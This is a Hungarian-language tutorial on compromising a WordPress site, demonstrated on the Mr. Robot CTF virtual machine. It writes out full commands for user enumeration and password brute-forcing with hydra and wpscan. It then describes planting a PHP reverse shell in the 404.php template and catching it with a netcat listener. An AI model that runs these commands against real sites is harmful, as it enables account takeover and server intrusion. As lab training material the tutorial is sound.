How to hack a WordPress Website – Ethical Hacking Tutorial

Welcome back fellow security enthusiasts! Ma a Mr. Robot CTF példáján keresztül mutatom meg, hogyan lehet feltörni egy WordPress webhelyet. Magam is épp most dolgoztam végig ezt a kiváló CTF-et, és rengeteget tanultam közben. Szerettem volna egy fokkal magasabb szintre emelni a webes sebezhetőségelemző játékomat, és ezzel a CTF-fel kezdtem.

Ha tényleg meg akarod tanulni a kiberbiztonságot, nagyon ajánlom, hogy olvasd el a hatalmas Getting started with Cybersecurity in 2019 beginner guide-omat, ahol megtanítom, hogyan kezdd el, teljesen ingyen! Érdemes megnézni a Best Hacking Books in 2019 cikket is.

DISCLAIMER: Ez a “how to hack a WordPress website” egy Ethical Hacking Tutorial és a biztonsági szakemberek számára készült. Ne, ismétlem, ne használja ezeket a technikákat a fogadó fél írásos beleegyezése nélkül. Ha ezt a bemutatót jogellenes kontextusban használja, törvényes vádak és / vagy börtönbüntetés várhat Önre. Csak zárt laboratóriumi környezetben használd ezeket a technikákat.

A CTF egy úgynevezett Capture the Flag játék, ahol a célod egy bizonyos számú zászló (vagy kulcs) összegyűjtése. A CTF-ek arra szolgálnak, hogy biztonságos és legális környezetben gyakorold a hackerképességeidet. A Vulnhubot tudom ajánlani, mint kiváló CTF-ekből álló forrást.

Oké, kezdjük el.

1. lépés – Annak értékelése, hogy egy webhely WordPress-t használ-e

Ha nem tudod, hogy egy webhely WordPress-t használ-e vagy sem, többnyire van egy nagyon egyszerű módja annak kiderítésére.

Egyszerűen beírhatod: www.addressofthewebsite.com/wp-admin

Az esetek többségében megjelenik a wp-admin login gui, kivéve, ha az admin letiltotta.

Egy másik remek módja annak ellenőrzésére, hogy egy Weboldalon WordPress fut-e, a wpscan használata. A wpscan előre telepítve van mind a Kaliban, mind a ParrotSecben.

wpscan -u www.addressofyourtarget.com

Az én esetemben a Mr. Robot VM átvizsgálása a következőket mutatja.

How to hack wordpress
Egy részlet az eredményekből

Mint látható, egyértelműen jelzi, hogy a webhely WordPress-t használ. Emellett 46 azonosított sebezhetőséget is bemutat. Nos, a legtöbb tárhelyszolgáltató és a WordPress legújabb verziói alapértelmezés szerint blokkolják az ilyen vizsgálatot. Tehát valószínűleg ez csak elavult WordPress verziókkal fog működni, anélkül, hogy a tárhelyszolgáltató bármilyen védelmet nyújtana.

Oké, eddig minden rendben. Most ellenőrizhetjük, hogy létezik-e a bejelentkezési oldal, ha a weboldal URL + /wp-admin címére navigálunk, így:

How to hack wordpress
WordPress Login

És valóban, a bejelentkezési maszk megjelenik.

2. lépés – Kód lecsípése a Burpsuite segítségével

Most jön a nehezebb rész, a felhasználónév kiderítése. Kezdheted az admin-nal, de a WordPress általában véletlenszerű felhasználónevet generál, így nehéz lehet kitalálni, és lehet, hogy további kutatást kell végezned a célpontról.

A Mr. Robot példában tudom, hogy a felhasználónév Elliot (nem túl nehéz kitalálni). Megpróbálhatod a hydra futtatását néhány felhasználónév-listával szemben is, de előbb a burpsuite segítségével meg kell szereznünk néhány kódot a bejelentkezési oldalról.

A burpsuite indítása a

sudo burpsuite

Elkészítünk egy új ideiglenes projektet a burp alapértelmezett beállításainak használatával.

Navigálj a Target -> Scope fülre, és kattints a Add-ra, hogy a wp-login oldalt felvehesd a scope-ba. A felugró párbeszédablakban válaszd az Igen lehetőséget.

Hogyan lehet feltörni a WordPress-t
Az oldal hozzáadása a hatókörhöz

A következő lépésben menj a Firefox Beállítások menüjébe, és görgess egészen lefelé, amíg meg nem találod a Hálózati proxy-t. Kattintson a Beállítások gombra.

Válassza a Kézi proxy-konfigurációt, és adja meg az IP 127.0.0.1 és a 8080-as portot. Jelölje be a “Use this proxy server for all protocols” (Ezt a proxykiszolgálót használja minden protokollhoz) jelölőnégyzetet. Kattintson az OK gombra.

Hogyan lehet feltörni a WordPress
Proxy hozzáadása

Vissza a Burpsuite-hoz. Nyissa meg a Proxy lapot. Most vissza a WP-Login oldalra. Adj meg egy tetszőleges felhasználónevet és jelszót, majd kattints a Bejelentkezés gombra. Győződj meg róla, hogy a Privacy Badger, az uBlock Origins és a NoScript ki van kapcsolva az oldalhoz.

Miután rákattintottál a bejelentkezésre, menj vissza a Burpsuite-ra, és nézd meg a kimenetet.

How to hack WordPress
Grabbing Code

log=root&pwd=1234&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.1.109%2Fwp-admin%2F&testcookie=1

Most van valami, amit meg tudunk etetni a Hydra-val.

3. lépés – A megfelelő felhasználónév megtalálása

Legyen egy kis móka, hogy ötletet adjunk, hogyan találhatod meg a célpontod felhasználónevét. A VM, amit ehhez a példához használunk, mint már említettük, Mr. Robot témájú. Tehát nagyon valószínű, hogy a felhasználónevet valami olyan apróságban fogjuk megtalálni, aminek köze van a Mr. Robothoz.

Először is menj vissza a Burpsuite-odba, és zárd be. Most már nincs rá szükségünk. Szintén menj vissza a Proxy beállításaidhoz, és kapcsold ki újra a Proxyt.

Most a Mr. Robot Wikipedia oldalára megyek: https://en.wikipedia.org/wiki/Mr._Robot

És pontosan erről az oldalról fogok létrehozni egy felhasználónévlistát a CeWL segítségével.

Nyissunk egy új terminálablakot, és írjuk be

sudo cewl -w usernames.txt -d1 -m4 https://en.wikipedia.org/wiki/Mr._Robot

Lépjünk tovább.

  • -w usernames.txt – elég egyértelműnek kell lennie, ez a létrehozandó szólista neve
  • -d1 – Meghatározza, hogy a CeWL milyen mélységben fogja feltérképezni a weboldalt. Az 1 azt jelzi, hogy pontosan ezen az oldalon fog maradni, és nem nyit meg semmilyen linket rajta.
  • -m4 – Meghatározza a szó minimális hosszát, ami a listába kerül
  • https://en.wikipedia.org/wiki/Mr._Robot – nyilván a weboldal, amit át fogunk mászni.

Szóval, mint látjuk, ezt a technikát bármilyen célzottan releváns weboldalra alkalmazhatjuk.

Egy gyors

ls

futtatással

ls

megmutatjuk, hogy a felhasználónevünk.txt létrejött.

How to hack WordPress
Checking the CeWL output

Egyes esetekben szerencsénk van a wpscan használatával a felhasználónevek felsorolásához, ezért mindig próbáljuk ki ezt is:

wpscan --url http://www.targetwebsite.com --enumerate u

Most a Hydra segítségével Bruteforce-ozzuk ezt a listát a wp-login oldal ellen.

4. lépés – Bruteforcing Usernames with Hydra

Rendben, ideje betáplálni a felhasználóneveket a Hydránkba. Ezt a bizonyos módszert a Vulnhub sok Walkthroughs egyikén találtam, bár nem emlékszem pontosan melyik volt, de adok hitelt, ahol hitelt érdemel. Nyissunk egy új terminálablakot, és írjuk be:

hydra -V -L usernames.txt -p whatever 192.168.1.109 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log:F=Invalid username'

Bontjuk le:

  • -V – Verbose
  • -L – A felhasználóneveink.txt list
  • -p whatever – A jelszó, nem érdekel minket, mert a felhasználónevet akarjuk megtudni
    • http-post-form – A Brute Force támadás típusa, amit szeretnénk futtatni
    • /wp-login.php – A bejelentkezési űrlap elérési útvonala
    • log = ^USER^&pwd=^PASS^&wp-submit=Log+In – Az űrlapra küldendő értékek, ahol ^USER^ és ^PASS^ a -L és -p opcióink helyőrzői
    • F=érvénytelen felhasználónév – Megmondja a hidrának, hogy a kísérlet sikertelen, ha érvénytelen felhasználónevet ad vissza

Rendben, futtassuk le a parancsot, jó?

How to hack WordPress
Hydra eredmények

És valóban, azt kapjuk vissza, hogy a bejelentkezés az elliot felhasználónévvel sikeres volt (Ami nem volt az, csak megerősítette, hogy a webes űrlap nem adott vissza érvénytelen felhasználónevet).

Szóval még ki kell találnunk a jelszót. De legalább van egy felhasználónevünk.

5. lépés – Brute Forcing the Password

Most használhatnánk a Hydra-t is a felhasználó jelszavának Brute Force-jára, de én inkább a wpscan-t használom, mivel a szintaxis egyszerűbb.

wpscan --url http://192.168.1.109/wp-login.php --passwords /usr/share/wordlists/rockyou.txt.gz --usernames elliot --wp-content-dir http://192.168.1.109/wp-login.php

rockyou.txt.gz csak egy példa, cseréld ki bármilyen jelszólistával, amit használni szeretnél.

És voilá, megvan a felhasználónév és a jelszó.

A jelszó rögzítése

6. lépés – Rosszindulatú kód implementálása a WordPressbe

Jól van, most, hogy admin hozzáférést kaptunk a WordPresshez, többféleképpen is továbbléphetünk. Megmutatom az egyik egyszerűbbet.

A támadó számítógépeden menj a Places -> File System -> usr -> share -> webshells -> php menüpontra és nyisd meg a php-reverse-shellt.php

Másold ki az egész tartalmát:

How to hack wordpress
Másold ki a szöveget

Most a WordPressben navigálj a Megjelenés -> Szerkesztőre és válaszd ki a 404.php sablont. Ez csak egy példa, a kódot sokféleképpen megvalósíthatod.

Most illeszd be ide a kódodat, hogy valahogy így nézzen ki:

How to hack WordPress
Sárgával jelölt sorok szerkesztése

A sárgával jelölt sorokat úgy szerkeszd, hogy az IP a támadó számítógépedre mutasson, és válassz egy portot.

7. lépés – Netcat listener indítása

Most vissza a támadó számítógépen, indítunk egy Netcat listenert:

nc -lvp 443

Majd megnyitjuk a 404-es oldalt, mintha csak a következő linkre mennénk: www.yourtargetwebsite.com/404

How to hack WordPress
Connection established

And we are in! Nem csak a WordPress admin fiókját sikerült feltörnünk, hanem magához a szerverhez is hozzáférhettünk. Innen már csak a képességeidet kell használnod, hogy emelt szintű hozzáférést szerezz, de ez most már nem lehet túl nehéz.

Láthatod, a CTF-ek remek módja annak, hogy új dolgokat tanulj meg.

A következő alkalomig, csak így tovább a hackeléssel!

*A ceos3c.com-on található oktatóanyagokban található összes technika kizárólag oktatási célokat szolgál.
Az itt tanított technikák kizárólag zárt laboratóriumi környezetben vagy egy második féllel egyetértésben használhatók.
Ha bármelyik technikát illegális célokra használja, a Ceos3c nem vállal felelősséget az esetleges törvényes következményekért.

Kérem, ossza meg!

Like Loading…

Vélemény, hozzászólás?

Az e-mail-címet nem tesszük közzé.